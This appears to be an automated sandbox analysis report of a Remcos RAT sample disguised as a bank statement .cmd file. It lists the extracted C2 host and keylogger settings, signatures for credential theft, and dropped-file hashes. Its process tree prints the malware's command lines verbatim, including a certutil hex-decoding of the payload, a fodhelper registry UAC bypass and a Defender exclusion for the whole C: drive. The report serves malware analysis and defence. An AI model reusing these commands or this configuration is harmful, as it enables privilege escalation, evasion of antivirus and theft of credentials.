Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/07/2024, 07:34

General

  • Target
    41570002689_20220814_05352297_HesapOzeti.cmd
  • Size 2.8MB
  • Sample240718-jealaasbpg
  • SHA256 0040025ba2e8d93e1d1c118280257575f28c2e2209707bb9a11c15676c55e944
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • July 17

C2
  • method890.ddns.net:6902

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-X2M1RF

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 7 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 31 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4200
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:4896
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4672
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:1100
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1844
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\41570002689_20220814_05352297_HesapOzeti.cmd" "C:\\Users\\Public\\CLEAN.GIF" 9
            3⤵
            • Executes dropped EXE
            PID:5080
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3820
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 12
            3⤵
            • Executes dropped EXE
            PID:2020
        • C:\Users\Public\Libraries\CLEAN.COM
          C:\Users\Public\Libraries\CLEAN.COM
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1412
          • C:\Users\Public\Libraries\lzfanvaS.pif
            C:\Users\Public\Libraries\lzfanvaS.pif
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1248
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E753.tmp\E754.tmp\E755.bat C:\Users\Public\Libraries\lzfanvaS.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2580
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:4928
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:4548
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:4668
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4692
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:4684
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4912
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:3348
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3096
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:2784
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1296
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4352
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:3964
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:5100
                      • C:\Windows \System32\per.exe
                        "C:\\Windows \\System32\\per.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:868
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3656
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4084
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1836
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 2
                          6⤵
                          • Runs ping.exe
                          PID:3480
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:2964
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:4192
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:2784
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:3096
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:4572
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2880
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:3960
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Savnafzl.PIF
                    3⤵
                      PID:912
                    • C:\Users\Public\Libraries\CLEAN.COM
                      C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\dflpkivzqjmwqsjpntqw"
                      3⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2892
                    • C:\Users\Public\Libraries\CLEAN.COM
                      C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\ozzilafsdrebsgxteddpojb"
                      3⤵
                      • Executes dropped EXE
                      • Accesses Microsoft Outlook accounts
                      PID:4932
                    • C:\Users\Public\Libraries\CLEAN.COM
                      C:\Users\Public\Libraries\CLEAN.COM /stext "C:\Users\Admin\AppData\Local\Temp\qbeblsqurzwgdntxooqrrwwyxf"
                      3⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3688
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:4216
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:3184
                • C:\Windows\system32\SystemSettingsAdminFlows.exe
                  "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                  1⤵
                    PID:1440

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        logs.dat

                        • Path C:\ProgramData\remcos\logs.dat
                        • Size 144B
                        • SHA256 868108ea6cbfdbee8531c1a382a69db8dfedbf9894a7680e8ed29c36ba1944a4
                        • MD5 SHA1 SHA512

                        E755.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\E753.tmp\E754.tmp\E755.bat
                        • Size 1KB
                        • SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
                        • MD5 SHA1 SHA512

                        __PSScriptPolicyTest_1jkwaqld.gqh.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1jkwaqld.gqh.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512

                        dflpkivzqjmwqsjpntqw

                        • Path C:\Users\Admin\AppData\Local\Temp\dflpkivzqjmwqsjpntqw
                        • Size 4KB
                        • SHA256 c26d371c3209dea4e8cb298ab279746f0209643a1ef95ff627e2cfe193be838b
                        • MD5 SHA1 SHA512 SSDEEP

                        CLEAN.GIF

                        • Path C:\Users\Public\CLEAN.GIF
                        • Size 1.9MB
                        • SHA256 00032a8c09f96d692586cfa0b0894bb12049e8266f9bc8c2a5950f4c542269fd
                        • MD5 SHA1 SHA512 SSDEEP

                        CLEAN.COM

                        • Path C:\Users\Public\Libraries\CLEAN.COM
                        • Size 955KB
                        • SHA256 e6967254aa75982a43c73985e63d60f5b0688ceeb06c11c1748622959cb95c08
                        • MD5 SHA1 SHA512 SSDEEP

                        lzfanvaS.pif

                        • Path C:\Users\Public\Libraries\lzfanvaS.pif
                        • Size 66KB
                        • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                        • MD5 SHA1 SHA512 SSDEEP

                        alpha.exe

                        • Path C:\Users\Public\alpha.exe
                        • Size 283KB
                        • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                        • MD5 SHA1 SHA512 SSDEEP

                        ger.exe

                        • Path C:\Users\Public\ger.exe
                        • Size 75KB
                        • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                        • MD5 SHA1 SHA512 SSDEEP

                        kn.exe

                        • Path C:\Users\Public\kn.exe
                        • Size 1.6MB
                        • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                        • MD5 SHA1 SHA512 SSDEEP

                        xkn.exe

                        • Path C:\Users\Public\xkn.exe
                        • Size 442KB
                        • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                        • MD5 SHA1 SHA512 SSDEEP

                        per.exe

                        • Path C:\Windows \System32\per.exe
                        • Size 48KB
                        • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                        • MD5 SHA1 SHA512 SSDEEP

                        memory/1248-38-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/1248-110-0x0000000000400000-0x000000000041A000-memory.dmp

                        memory/1248-35-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/1248-36-0x0000000000400000-0x000000000041A000-memory.dmp

                        memory/1248-32-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/1248-108-0x0000000000400000-0x0000000001400000-memory.dmp

                        memory/1412-112-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-162-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-107-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-106-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-111-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-96-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-92-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-114-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-163-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-141-0x000000004C600000-0x000000004C619000-memory.dmp

                        memory/1412-28-0x0000000000400000-0x00000000004F8000-memory.dmp

                        memory/1412-152-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-151-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-146-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-144-0x000000004C600000-0x000000004C619000-memory.dmp

                        memory/1412-95-0x0000000033A70000-0x0000000034A70000-memory.dmp

                        memory/1412-145-0x000000004C600000-0x000000004C619000-memory.dmp

                        memory/2892-121-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2892-126-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2892-115-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2892-138-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/2892-117-0x0000000000400000-0x0000000000478000-memory.dmp

                        memory/3688-130-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/3688-128-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/3688-133-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/3688-131-0x0000000000400000-0x0000000000424000-memory.dmp

                        memory/4352-69-0x000001A8CD1E0000-0x000001A8CD202000-memory.dmp

                        memory/4932-122-0x0000000000400000-0x0000000000462000-memory.dmp

                        memory/4932-118-0x0000000000400000-0x0000000000462000-memory.dmp

                        memory/4932-127-0x0000000000400000-0x0000000000462000-memory.dmp

                        memory/4932-120-0x0000000000400000-0x0000000000462000-memory.dmp